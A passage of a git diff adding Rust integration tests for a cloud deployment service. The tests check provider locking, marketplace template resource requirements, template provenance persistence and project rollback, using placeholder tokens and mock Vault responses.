+    .fetch_one(pool)
+    .await
+    .expect("Failed to insert marketplace template")
+    .get::<Uuid, _>("id");
+
+    sqlx::query("UPDATE project SET source_template_id = $1 WHERE id = $2")
+        .bind(template_id)
+        .bind(project_id)
+        .execute(pool)
+        .await
+        .expect("Failed to attach template to project");
+
+    project_id
+}
+
+async fn create_project_with_locked_provider(
+    pool: &sqlx::PgPool,
+    user_id: &str,
+    locked_cloud_provider: &str,
+) -> i32 {
+    sqlx::query(
+        r#"INSERT INTO project (
+            stack_id,
+            user_id,
+            name,
+            metadata,
+            request_json,
+            created_at,
+            updated_at
+        )
+        VALUES (
+            gen_random_uuid(),
+            $1,
+            'Locked Provider Project',
+            '{}'::jsonb,
+            $2,
+            NOW(),
+            NOW()
+        )
+        RETURNING id"#,
+    )
+    .bind(user_id)
+    .bind(json!({
+        "custom": {
+            "locked_cloud_provider": locked_cloud_provider
+        }
+    }))
+    .fetch_one(pool)
+    .await
+    .expect("Failed to insert project with locked cloud provider")
+    .get::<i32, _>("id")
+}
+
+#[tokio::test]
+async fn deploy_rejects_provider_mismatch_when_project_has_locked_cloud_provider() {
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = create_project_with_locked_provider(&app.db_pool, "test_user_id", "htz").await;
+
+    let response = reqwest::Client::new()
+        .post(format!("{}/project/{}/deploy", app.address, project_id))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "stack": {
+                "vars": [],
+                "integrated_features": [],
+                "extended_features": [],
+                "subscriptions": [],
+                "form_app": []
+            },
+            "cloud": {
+                "provider": "aws",
+                "cloud_token": "test-cloud-token",
+                "save_token": false
+            },
+            "server": {
+                "region": "us-east-1",
+                "server": "t3.small",
+                "os": "ubuntu-24.04",
+                "disk_type": "gp3"
+            }
+        }))
+        .send()
+        .await
+        .expect("deploy request failed");
+
+    assert_eq!(response.status(), StatusCode::BAD_REQUEST);
+
+    let body: serde_json::Value = response.json().await.expect("response body should be json");
+    let message = body["message"]
+        .as_str()
+        .expect("error response should include message");
+
+    assert!(message.contains("locked"));
+    assert!(message.contains("htz"));
+    assert!(message.contains("aws"));
+}
+
+#[tokio::test]
+async fn deploy_with_saved_cloud_rejects_provider_mismatch_when_project_has_locked_cloud_provider()
+{
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = create_project_with_locked_provider(&app.db_pool, "test_user_id", "htz").await;
+    let cloud_id =
+        common::create_test_cloud(&app.db_pool, "test_user_id", "saved-aws", "aws").await;
+
+    let response = reqwest::Client::new()
+        .post(format!(
+            "{}/project/{}/deploy/{}",
+            app.address, project_id, cloud_id
+        ))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "stack": {
+                "vars": [],
+                "integrated_features": [],
+                "extended_features": [],
+                "subscriptions": [],
+                "form_app": []
+            },
+            "cloud": {
+                "provider": "aws"
+            },
+            "server": {
+                "region": "us-east-1",
+                "server": "t3.small",
+                "os": "ubuntu-24.04",
+                "disk_type": "gp3"
+            }
+        }))
+        .send()
+        .await
+        .expect("deploy request failed");
+
+    assert_eq!(response.status(), StatusCode::BAD_REQUEST);
+
+    let body: serde_json::Value = response.json().await.expect("response body should be json");
+    let message = body["message"]
+        .as_str()
+        .expect("error response should include message");
+
+    assert!(message.contains("locked"));
+    assert!(message.contains("htz"));
+    assert!(message.contains("aws"));
+}
+
+#[tokio::test]
+async fn deploy_with_saved_cloud_uses_saved_provider_for_locked_provider_validation() {
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = create_project_with_locked_provider(&app.db_pool, "test_user_id", "htz").await;
+    let cloud_id =
+        common::create_test_cloud(&app.db_pool, "test_user_id", "saved-aws", "aws").await;
+
+    let response = reqwest::Client::new()
+        .post(format!(
+            "{}/project/{}/deploy/{}",
+            app.address, project_id, cloud_id
+        ))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "stack": {
+                "vars": [],
+                "integrated_features": [],
+                "extended_features": [],
+                "subscriptions": [],
+                "form_app": []
+            },
+            "cloud": {
+                "provider": ""
+            },
+            "server": {
+                "region": "us-east-1",
+                "server": "t3.small",
+                "os": "ubuntu-24.04",
+                "disk_type": "gp3"
+            }
+        }))
+        .send()
+        .await
+        .expect("deploy request failed");
+
+    assert_eq!(response.status(), StatusCode::BAD_REQUEST);
+
+    let body: serde_json::Value = response.json().await.expect("response body should be json");
+    let message = body["message"]
+        .as_str()
+        .expect("error response should include message");
+
+    assert!(message.contains("locked"));
+    assert!(message.contains("htz"));
+    assert!(message.contains("aws"));
+}
+
+#[tokio::test]
+async fn deploy_rejects_marketplace_targets_that_do_not_match_template_requirements() {
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = create_marketplace_project(
+        &app.db_pool,
+        "test_user_id",
+        json!({
+            "supported_clouds": ["htz"],
+            "supported_os": ["ubuntu-22.04"]
+        }),
+    )
+    .await;
+
+    let response = reqwest::Client::new()
+        .post(format!("{}/project/{}/deploy", app.address, project_id))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "stack": {
+                "vars": [],
+                "integrated_features": [],
+                "extended_features": [],
+                "subscriptions": [],
+                "form_app": []
+            },
+            "cloud": {
+                "provider": "aws",
+                "cloud_token": "test-cloud-token",
+                "save_token": false
+            },
+            "server": {
+                "region": "us-east-1",
+                "server": "t3.small",
+                "os": "ubuntu-24.04",
+                "disk_type": "gp3"
+            }
+        }))
+        .send()
+        .await
+        .expect("deploy request failed");
+
+    assert_eq!(response.status(), StatusCode::BAD_REQUEST);
+
+    let body: serde_json::Value = response.json().await.expect("response body should be json");
+    let message = body["message"]
+        .as_str()
+        .expect("error response should include message");
+
+    assert!(message.contains("htz"));
+    assert!(message.contains("ubuntu-22.04"));
+}
+
+#[tokio::test]
+async fn deploy_with_saved_cloud_rejects_marketplace_targets_that_do_not_match_template_requirements(
+) {
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = create_marketplace_project(
+        &app.db_pool,
+        "test_user_id",
+        json!({
+            "supported_clouds": ["htz"],
+            "supported_os": ["ubuntu-22.04"]
+        }),
+    )
+    .await;
+    let cloud_id =
+        common::create_test_cloud(&app.db_pool, "test_user_id", "saved-aws", "aws").await;
+
+    let response = reqwest::Client::new()
+        .post(format!(
+            "{}/project/{}/deploy/{}",
+            app.address, project_id, cloud_id
+        ))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "stack": {
+                "vars": [],
+                "integrated_features": [],
+                "extended_features": [],
+                "subscriptions": [],
+                "form_app": []
+            },
+            "cloud": {
+                "provider": "aws"
+            },
+            "server": {
+                "region": "us-east-1",
+                "server": "t3.small",
+                "os": "ubuntu-24.04",
+                "disk_type": "gp3"
+            }
+        }))
+        .send()
+        .await
+        .expect("deploy request failed");
+
+    assert_eq!(response.status(), StatusCode::BAD_REQUEST);
+
+    let body: serde_json::Value = response.json().await.expect("response body should be json");
+    let message = body["message"]
+        .as_str()
+        .expect("error response should include message");
+
+    assert!(message.contains("htz"));
+    assert!(message.contains("ubuntu-22.04"));
+}
+
+#[tokio::test]
+async fn deploy_rejects_marketplace_targets_that_do_not_meet_min_ram_mb_requirement() {
+    let _guard = APP_SERVICE_ENV_LOCK.lock().await;
+    let app_service = mount_server_catalog(
+        "aws",
+        None,
+        json!([
+            {
+                "id": "t3.small",
+                "ram": 1,
+                "vcpu": 2,
+                "disk_size": 20
+            },
+            {
+                "id": "t3.medium",
+                "ram": 2,
+                "vcpu": 2,
+                "disk_size": 40
+            }
+        ]),
+    )
+    .await;
+    std::env::set_var("APP_SERVICE_URL", app_service.uri());
+
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = create_marketplace_project(
+        &app.db_pool,
+        "test_user_id",
+        json!({
+            "supported_clouds": ["aws"],
+            "supported_os": ["ubuntu-24.04"],
+            "min_ram_mb": 2048
+        }),
+    )
+    .await;
+
+    let response = reqwest::Client::new()
+        .post(format!("{}/project/{}/deploy", app.address, project_id))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "stack": {
+                "vars": [],
+                "integrated_features": [],
+                "extended_features": [],
+                "subscriptions": [],
+                "form_app": []
+            },
+            "cloud": {
+                "provider": "aws",
+                "cloud_token": "test-cloud-token",
+                "save_token": false
+            },
+            "server": {
+                "region": "us-east-1",
+                "server": "t3.small",
+                "os": "ubuntu-24.04",
+                "disk_type": "gp3"
+            }
+        }))
+        .send()
+        .await
+        .expect("deploy request failed");
+
+    assert_eq!(response.status(), StatusCode::BAD_REQUEST);
+
+    let body: serde_json::Value = response.json().await.expect("response body should be json");
+    let message = body["message"]
+        .as_str()
+        .expect("error response should include message");
+
+    assert!(message.contains("minimum RAM"));
+    assert!(message.contains("2048"));
+    assert!(message.contains("1024"));
+}
+
+#[tokio::test]
+async fn deploy_with_saved_cloud_rejects_marketplace_targets_that_do_not_meet_min_ram_mb_requirement(
+) {
+    let _guard = APP_SERVICE_ENV_LOCK.lock().await;
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = create_marketplace_project(
+        &app.db_pool,
+        "test_user_id",
+        json!({
+            "supported_clouds": ["aws"],
+            "supported_os": ["ubuntu-24.04"],
+            "min_ram_mb": 2048
+        }),
+    )
+    .await;
+    let cloud_id =
+        common::create_test_cloud(&app.db_pool, "test_user_id", "saved-aws", "aws").await;
+    let app_service = mount_server_catalog(
+        "aws",
+        Some(cloud_id),
+        json!([
+            {
+                "id": "t3.small",
+                "ram": 1,
+                "vcpu": 2,
+                "disk_size": 20
+            }
+        ]),
+    )
+    .await;
+    std::env::set_var("APP_SERVICE_URL", app_service.uri());
+
+    let response = reqwest::Client::new()
+        .post(format!(
+            "{}/project/{}/deploy/{}",
+            app.address, project_id, cloud_id
+        ))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "stack": {
+                "vars": [],
+                "integrated_features": [],
+                "extended_features": [],
+                "subscriptions": [],
+                "form_app": []
+            },
+            "cloud": {
+                "provider": "aws"
+            },
+            "server": {
+                "region": "us-east-1",
+                "server": "t3.small",
+                "os": "ubuntu-24.04",
+                "disk_type": "gp3"
+            }
+        }))
+        .send()
+        .await
+        .expect("deploy request failed");
+
+    assert_eq!(response.status(), StatusCode::BAD_REQUEST);
+
+    let body: serde_json::Value = response.json().await.expect("response body should be json");
+    let message = body["message"]
+        .as_str()
+        .expect("error response should include message");
+
+    assert!(message.contains("minimum RAM"));
+    assert!(message.contains("2048"));
+    assert!(message.contains("1024"));
+}
+
+#[tokio::test]
+async fn deploy_rejects_marketplace_targets_that_do_not_meet_min_disk_gb_requirement() {
+    let _guard = APP_SERVICE_ENV_LOCK.lock().await;
+    let app_service = mount_server_catalog(
+        "aws",
+        None,
+        json!([
+            {
+                "id": "t3.small",
+                "ram": 2,
+                "vcpu": 2,
+                "disk_size": 20
+            }
+        ]),
+    )
+    .await;
+    std::env::set_var("APP_SERVICE_URL", app_service.uri());
+
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = create_marketplace_project(
+        &app.db_pool,
+        "test_user_id",
+        json!({
+            "supported_clouds": ["aws"],
+            "supported_os": ["ubuntu-24.04"],
+            "min_disk_gb": 40
+        }),
+    )
+    .await;
+
+    let response = reqwest::Client::new()
+        .post(format!("{}/project/{}/deploy", app.address, project_id))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "stack": {
+                "vars": [],
+                "integrated_features": [],
+                "extended_features": [],
+                "subscriptions": [],
+                "form_app": []
+            },
+            "cloud": {
+                "provider": "aws",
+                "cloud_token": "test-cloud-token",
+                "save_token": false
+            },
+            "server": {
+                "region": "us-east-1",
+                "server": "t3.small",
+                "os": "ubuntu-24.04",
+                "disk_type": "gp3"
+            }
+        }))
+        .send()
+        .await
+        .expect("deploy request failed");
+
+    assert_eq!(response.status(), StatusCode::BAD_REQUEST);
+
+    let body: serde_json::Value = response.json().await.expect("response body should be json");
+    let message = body["message"]
+        .as_str()
+        .expect("error response should include message");
+
+    assert!(message.contains("minimum disk"));
+    assert!(message.contains("40"));
+    assert!(message.contains("20"));
+}
+
+#[tokio::test]
+async fn deploy_with_saved_cloud_rejects_marketplace_targets_that_do_not_meet_min_disk_gb_requirement(
+) {
+    let _guard = APP_SERVICE_ENV_LOCK.lock().await;
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = create_marketplace_project(
+        &app.db_pool,
+        "test_user_id",
+        json!({
+            "supported_clouds": ["aws"],
+            "supported_os": ["ubuntu-24.04"],
+            "min_disk_gb": 40
+        }),
+    )
+    .await;
+    let cloud_id =
+        common::create_test_cloud(&app.db_pool, "test_user_id", "saved-aws", "aws").await;
+    let app_service = mount_server_catalog(
+        "aws",
+        Some(cloud_id),
+        json!([
+            {
+                "id": "t3.small",
+                "ram": 2,
+                "vcpu": 2,
+                "disk_size": 20
+            }
+        ]),
+    )
+    .await;
+    std::env::set_var("APP_SERVICE_URL", app_service.uri());
+
+    let response = reqwest::Client::new()
+        .post(format!(
+            "{}/project/{}/deploy/{}",
+            app.address, project_id, cloud_id
+        ))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "stack": {
+                "vars": [],
+                "integrated_features": [],
+                "extended_features": [],
+                "subscriptions": [],
+                "form_app": []
+            },
+            "cloud": {
+                "provider": "aws"
+            },
+            "server": {
+                "region": "us-east-1",
+                "server": "t3.small",
+                "os": "ubuntu-24.04",
+                "disk_type": "gp3"
+            }
+        }))
+        .send()
+        .await
+        .expect("deploy request failed");
+
+    assert_eq!(response.status(), StatusCode::BAD_REQUEST);
+
+    let body: serde_json::Value = response.json().await.expect("response body should be json");
+    let message = body["message"]
+        .as_str()
+        .expect("error response should include message");
+
+    assert!(message.contains("minimum disk"));
+    assert!(message.contains("40"));
+    assert!(message.contains("20"));
+}
+
+#[tokio::test]
+async fn deploy_rejects_marketplace_targets_that_do_not_meet_min_cpu_cores_requirement() {
+    let _guard = APP_SERVICE_ENV_LOCK.lock().await;
+    let app_service = mount_server_catalog(
+        "aws",
+        None,
+        json!([
+            {
+                "id": "t3.small",
+                "ram": 4,
+                "vcpu": 2,
+                "disk_size": 80
+            }
+        ]),
+    )
+    .await;
+    std::env::set_var("APP_SERVICE_URL", app_service.uri());
+
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = create_marketplace_project(
+        &app.db_pool,
+        "test_user_id",
+        json!({
+            "supported_clouds": ["aws"],
+            "supported_os": ["ubuntu-24.04"],
+            "min_cpu_cores": 4
+        }),
+    )
+    .await;
+
+    let response = reqwest::Client::new()
+        .post(format!("{}/project/{}/deploy", app.address, project_id))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "stack": {
+                "vars": [],
+                "integrated_features": [],
+                "extended_features": [],
+                "subscriptions": [],
+                "form_app": []
+            },
+            "cloud": {
+                "provider": "aws",
+                "cloud_token": "test-cloud-token",
+                "save_token": false
+            },
+            "server": {
+                "region": "us-east-1",
+                "server": "t3.small",
+                "os": "ubuntu-24.04",
+                "disk_type": "gp3"
+            }
+        }))
+        .send()
+        .await
+        .expect("deploy request failed");
+
+    assert_eq!(response.status(), StatusCode::BAD_REQUEST);
+
+    let body: serde_json::Value = response.json().await.expect("response body should be json");
+    let message = body["message"]
+        .as_str()
+        .expect("error response should include message");
+
+    assert!(message.contains("minimum CPU"));
+    assert!(message.contains("4"));
+    assert!(message.contains("2"));
+}
+
+#[tokio::test]
+async fn deploy_with_saved_cloud_rejects_marketplace_targets_that_do_not_meet_min_cpu_cores_requirement(
+) {
+    let _guard = APP_SERVICE_ENV_LOCK.lock().await;
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = create_marketplace_project(
+        &app.db_pool,
+        "test_user_id",
+        json!({
+            "supported_clouds": ["aws"],
+            "supported_os": ["ubuntu-24.04"],
+            "min_cpu_cores": 4
+        }),
+    )
+    .await;
+    let cloud_id =
+        common::create_test_cloud(&app.db_pool, "test_user_id", "saved-aws", "aws").await;
+    let app_service = mount_server_catalog(
+        "aws",
+        Some(cloud_id),
+        json!([
+            {
+                "id": "t3.small",
+                "ram": 4,
+                "vcpu": 2,
+                "disk_size": 80
+            }
+        ]),
+    )
+    .await;
+    std::env::set_var("APP_SERVICE_URL", app_service.uri());
+
+    let response = reqwest::Client::new()
+        .post(format!(
+            "{}/project/{}/deploy/{}",
+            app.address, project_id, cloud_id
+        ))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "stack": {
+                "vars": [],
+                "integrated_features": [],
+                "extended_features": [],
+                "subscriptions": [],
+                "form_app": []
+            },
+            "cloud": {
+                "provider": "aws"
+            },
+            "server": {
+                "region": "us-east-1",
+                "server": "t3.small",
+                "os": "ubuntu-24.04",
+                "disk_type": "gp3"
+            }
+        }))
+        .send()
+        .await
+        .expect("deploy request failed");
+
+    assert_eq!(response.status(), StatusCode::BAD_REQUEST);
+
+    let body: serde_json::Value = response.json().await.expect("response body should be json");
+    let message = body["message"]
+        .as_str()
+        .expect("error response should include message");
+
+    assert!(message.contains("minimum CPU"));
+    assert!(message.contains("4"));
+    assert!(message.contains("2"));
+}
diff --git a/tests/project_marketplace_persistence.rs b/tests/project_marketplace_persistence.rs
new file mode 100644
index 00000000..a9209c93
--- /dev/null
+++ b/tests/project_marketplace_persistence.rs
@@ -0,0 +1,94 @@
+mod common;
+
+use serde_json::json;
+use sqlx::Row;
+use stacker::{db, models};
+use uuid::Uuid;
+
+async fn insert_template(pool: &sqlx::PgPool, user_id: &str) -> Uuid {
+    sqlx::query(
+        r#"INSERT INTO stack_template (
+            creator_user_id,
+            name,
+            slug,
+            status,
+            tags,
+            tech_stack,
+            infrastructure_requirements
+        )
+        VALUES ($1, $2, $3, 'approved', '[]'::jsonb, '{}'::jsonb, '{}'::jsonb)
+        RETURNING id"#,
+    )
+    .bind(user_id)
+    .bind(format!("Template {}", Uuid::new_v4()))
+    .bind(format!("template-{}", Uuid::new_v4()))
+    .fetch_one(pool)
+    .await
+    .expect("Failed to insert template")
+    .get::<Uuid, _>("id")
+}
+
+#[tokio::test]
+async fn project_insert_preserves_marketplace_provenance() {
+    let Some(app) = common::spawn_app().await else {
+        return;
+    };
+
+    let template_id = insert_template(&app.db_pool, common::USER_A_ID).await;
+    let mut project = models::Project::new(
+        common::USER_A_ID.to_string(),
+        "rollback-project".to_string(),
+        json!({"custom": {"web": [], "custom_stack_code": "rollback-project"}}),
+        json!({"custom": {"web": [], "custom_stack_code": "rollback-project"}}),
+    );
+    project.source_template_id = Some(template_id);
+    project.template_version = Some("1.0.0".to_string());
+
+    let saved = db::project::insert(&app.db_pool, project)
+        .await
+        .expect("project insert should succeed");
+    let fetched = db::project::fetch(&app.db_pool, saved.id)
+        .await
+        .expect("project fetch should succeed")
+        .expect("project should exist");
+
+    assert_eq!(fetched.source_template_id, Some(template_id));
+    assert_eq!(fetched.template_version.as_deref(), Some("1.0.0"));
+}
+
+#[tokio::test]
+async fn project_update_preserves_marketplace_provenance() {
+    let Some(app) = common::spawn_app().await else {
+        return;
+    };
+
+    let template_id = insert_template(&app.db_pool, common::USER_A_ID).await;
+    let mut project = models::Project::new(
+        common::USER_A_ID.to_string(),
+        "rollback-project".to_string(),
+        json!({"custom": {"web": [], "custom_stack_code": "rollback-project"}}),
+        json!({"custom": {"web": [], "custom_stack_code": "rollback-project"}}),
+    );
+    project.source_template_id = Some(template_id);
+    project.template_version = Some("1.0.0".to_string());
+
+    let mut saved = db::project::insert(&app.db_pool, project)
+        .await
+        .expect("project insert should succeed");
+    saved.metadata = json!({"custom": {"web": [], "custom_stack_code": "rollback-updated"}});
+    saved.request_json = saved.metadata.clone();
+    saved.template_version = Some("2.0.0".to_string());
+    let saved_id = saved.id;
+
+    db::project::update(&app.db_pool, saved)
+        .await
+        .expect("project update should succeed");
+
+    let fetched = db::project::fetch(&app.db_pool, saved_id)
+        .await
+        .expect("project fetch should succeed")
+        .expect("project should exist");
+
+    assert_eq!(fetched.source_template_id, Some(template_id));
+    assert_eq!(fetched.template_version.as_deref(), Some("2.0.0"));
+}
diff --git a/tests/project_rollback.rs b/tests/project_rollback.rs
new file mode 100644
index 00000000..fe94989e
--- /dev/null
+++ b/tests/project_rollback.rs
@@ -0,0 +1,344 @@
+mod common;
+
+use reqwest::StatusCode;
+use serde_json::json;
+use sqlx::Row;
+use uuid::Uuid;
+use wiremock::matchers::{header, method, path};
+use wiremock::{Mock, ResponseTemplate};
+
+fn project_payload(stack_code: &str) -> serde_json::Value {
+    json!({
+        "custom": {
+            "web": [],
+            "custom_stack_code": stack_code
+        }
+    })
+}
+
+async fn insert_template_with_version(
+    pool: &sqlx::PgPool,
+    user_id: &str,
+    version: &str,
+    stack_definition: serde_json::Value,
+) -> Uuid {
+    let template_id = sqlx::query(
+        r#"INSERT INTO stack_template (
+            creator_user_id,
+            name,
+            slug,
+            status,
+            tags,
+            tech_stack,
+            infrastructure_requirements
+        )
+        VALUES ($1, $2, $3, 'approved', '[]'::jsonb, '{}'::jsonb, '{}'::jsonb)
+        RETURNING id"#,
+    )
+    .bind(user_id)
+    .bind(format!("Template {}", Uuid::new_v4()))
+    .bind(format!("rollback-template-{}", Uuid::new_v4()))
+    .fetch_one(pool)
+    .await
+    .expect("Failed to insert template")
+    .get::<Uuid, _>("id");
+
+    sqlx::query(
+        r#"INSERT INTO stack_template_version (
+            template_id,
+            version,
+            stack_definition,
+            definition_format,
+            changelog,
+            is_latest
+        )
+        VALUES ($1, $2, $3, 'json', NULL, true)"#,
+    )
+    .bind(template_id)
+    .bind(version)
+    .bind(stack_definition)
+    .execute(pool)
+    .await
+    .expect("Failed to insert template version");
+
+    template_id
+}
+
+async fn insert_project_with_template(
+    pool: &sqlx::PgPool,
+    user_id: &str,
+    template_id: Uuid,
+    version: &str,
+    payload: serde_json::Value,
+) -> i32 {
+    sqlx::query(
+        r#"INSERT INTO project (
+            stack_id,
+            user_id,
+            name,
+            metadata,
+            request_json,
+            source_template_id,
+            template_version,
+            created_at,
+            updated_at
+        )
+        VALUES (gen_random_uuid(), $1, 'user-project-name', $2, $2, $3, $4, NOW(), NOW())
+        RETURNING id"#,
+    )
+    .bind(user_id)
+    .bind(payload)
+    .bind(template_id)
+    .bind(version)
+    .fetch_one(pool)
+    .await
+    .expect("Failed to insert project")
+    .get::<i32, _>("id")
+}
+
+#[tokio::test]
+async fn rollback_rejects_non_marketplace_projects() {
+    let Some(app) = common::spawn_app().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+
+    let response = reqwest::Client::new()
+        .post(format!("{}/project/{}/rollback", app.address, project_id))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({ "version": "1.0.0" }))
+        .send()
+        .await
+        .expect("rollback request failed");
+
+    assert_eq!(response.status(), StatusCode::BAD_REQUEST);
+}
+
+#[tokio::test]
+async fn rollback_rejects_unknown_versions() {
+    let Some(app) = common::spawn_app().await else {
+        return;
+    };
+
+    let template_id = insert_template_with_version(
+        &app.db_pool,
+        common::USER_A_ID,
+        "1.0.0",
+        project_payload("template-stack"),
+    )
+    .await;
+    let project_id = insert_project_with_template(
+        &app.db_pool,
+        common::USER_A_ID,
+        template_id,
+        "1.0.0",
+        project_payload("template-stack"),
+    )
+    .await;
+
+    let response = reqwest::Client::new()
+        .post(format!("{}/project/{}/rollback", app.address, project_id))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({ "version": "9.9.9" }))
+        .send()
+        .await
+        .expect("rollback request failed");
+
+    assert_eq!(response.status(), StatusCode::BAD_REQUEST);
+}
+
+#[tokio::test]
+async fn rollback_rejects_projects_with_multiple_servers() {
+    let Some(app) = common::spawn_app().await else {
+        return;
+    };
+
+    let template_id = insert_template_with_version(
+        &app.db_pool,
+        common::USER_A_ID,
+        "1.0.0",
+        project_payload("template-stack"),
+    )
+    .await;
+    let project_id = insert_project_with_template(
+        &app.db_pool,
+        common::USER_A_ID,
+        template_id,
+        "1.0.0",
+        project_payload("template-stack"),
+    )
+    .await;
+
+    let cloud_id =
+        common::create_test_cloud(&app.db_pool, common::USER_A_ID, "saved-aws", "aws").await;
+    let server_a = common::create_test_server(
+        &app.db_pool,
+        common::USER_A_ID,
+        project_id,
+        "active",
+        Some("secret/users/test_user_id/ssh_keys/1"),
+    )
+    .await;
+    let server_b = common::create_test_server(
+        &app.db_pool,
+        common::USER_A_ID,
+        project_id,
+        "active",
+        Some("secret/users/test_user_id/ssh_keys/2"),
+    )
+    .await;
+
+    sqlx::query("UPDATE server SET cloud_id = $1 WHERE id = ANY($2)")
+        .bind(cloud_id)
+        .bind(vec![server_a, server_b])
+        .execute(&app.db_pool)
+        .await
+        .expect("Failed to attach cloud to servers");
+
+    let response = reqwest::Client::new()
+        .post(format!("{}/project/{}/rollback", app.address, project_id))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({ "version": "1.0.0" }))
+        .send()
+        .await
+        .expect("rollback request failed");
+
+    assert_eq!(response.status(), StatusCode::BAD_REQUEST);
+}
+
+#[tokio::test]
+async fn rollback_hides_other_users_projects() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+
+    let template_id = insert_template_with_version(
+        &app.db_pool,
+        common::USER_A_ID,
+        "1.0.0",
+        project_payload("template-stack"),
+    )
+    .await;
+    let project_id = insert_project_with_template(
+        &app.db_pool,
+        common::USER_A_ID,
+        template_id,
+        "1.0.0",
+        project_payload("template-stack"),
+    )
+    .await;
+
+    let response = reqwest::Client::new()
+        .post(format!("{}/project/{}/rollback", app.address, project_id))
+        .bearer_auth(common::USER_B_TOKEN)
+        .json(&json!({ "version": "1.0.0" }))
+        .send()
+        .await
+        .expect("rollback request failed");
+
+    assert_eq!(response.status(), StatusCode::NOT_FOUND);
+}
+
+#[tokio::test]
+async fn rollback_succeeds_for_single_server_marketplace_project() {
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let current_payload = project_payload("current-template");
+    let target_payload = project_payload("target-template");
+    let template_id = insert_template_with_version(
+        &app.db_pool,
+        common::USER_A_ID,
+        "1.0.0",
+        current_payload.clone(),
+    )
+    .await;
+    sqlx::query(
+        r#"INSERT INTO stack_template_version (
+            template_id,
+            version,
+            stack_definition,
+            definition_format,
+            changelog,
+            is_latest
+        )
+        VALUES ($1, '0.9.0', $2, 'json', NULL, false)"#,
+    )
+    .bind(template_id)
+    .bind(target_payload.clone())
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to insert rollback target version");
+
+    let project_id = insert_project_with_template(
+        &app.db_pool,
+        common::USER_A_ID,
+        template_id,
+        "1.0.0",
+        current_payload,
+    )
+    .await;
+    let cloud_id =
+        common::create_test_cloud(&app.db_pool, common::USER_A_ID, "saved-aws", "aws").await;
+    let server_id = common::create_test_server(
+        &app.db_pool,
+        common::USER_A_ID,
+        project_id,
+        "active",
+        Some("secret/users/test_user_id/ssh_keys/1"),
+    )
+    .await;
+
+    sqlx::query(
+        r#"UPDATE server
+           SET cloud_id = $1,
+               region = 'us-east-1',
+               server = 't3.small',
+               os = 'ubuntu-24.04',
+               disk_type = 'gp3'
+           WHERE id = $2"#,
+    )
+    .bind(cloud_id)
+    .bind(server_id)
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to prepare server");
+
+    Mock::given(method("GET"))
+        .and(path(format!("/v1/secret/users/{}/ssh_keys/{}", common::USER_A_ID, server_id)))
+        .and(header("X-Vault-Token", "test-vault-token"))
+        .respond_with(ResponseTemplate::new(200).set_body_json(json!({
+            "data": {
+                "public_key": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAITestkey",
+                "private_key": "-----BEGIN OPENSSH PRIVATE KEY-----\nkey\n-----END OPENSSH PRIVATE KEY-----"
+            }
+        })))
+        .mount(&app.vault_server)
+        .await;
+
+    let response = reqwest::Client::new()
+        .post(format!("{}/project/{}/rollback", app.address, project_id))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({ "version": "0.9.0" }))
+        .send()
+        .await
+        .expect("rollback request failed");
+
+    assert_eq!(response.status(), StatusCode::OK);
+
+    let project_row =
+        sqlx::query("SELECT name, template_version, metadata FROM project WHERE id = $1")
+            .bind(project_id)
+            .fetch_one(&app.db_pool)
+            .await
+            .expect("Failed to fetch updated project");
+    assert_eq!(project_row.get::<String, _>("name"), "user-project-name");
+    assert_eq!(
+        project_row
+            .get::<Option<String>, _>("template_version")
+            .as_deref(),
+        Some("0.9.0")
+    );
+}
diff --git a/tests/project_team_projects.rs b/tests/project_team_projects.rs
new file mode 100644
index 00000000..ce678967
--- /dev/null
+++ b/tests/project_team_projects.rs
@@ -0,0 +1,493 @@
+mod common;
+
+use reqwest::StatusCode;
+use serde_json::json;
+use sqlx::Row;
+
+async fn seed_project_and_deployment(pool: &sqlx::PgPool, user_id: &str) -> (i32, i32, String) {
+    let project_id = common::create_test_project(pool, user_id).await;
+    let hash = format!("team-dpl-{}", uuid::Uuid::new_v4());
+    let deployment_id = common::create_test_deployment(pool, user_id, project_id, &hash).await;
+    (project_id, deployment_id, hash)
+}
+
+async fn share_project(
+    app_address: &str,
+    project_id: i32,
+    actor_token: &str,
+    member_user_id: &str,
+) -> reqwest::Response {
+    reqwest::Client::new()
+        .post(format!("{}/project/{}/members", app_address, project_id))
+        .header("Authorization", format!("Bearer {}", actor_token))
+        .json(&json!({
+            "user_id": member_user_id,
+            "role": "viewer"
+        }))
+        .send()
+        .await
+        .expect("share request failed")
+}
+
+async fn list_shared_projects(app_address: &str, token: &str) -> reqwest::Response {
+    reqwest::Client::new()
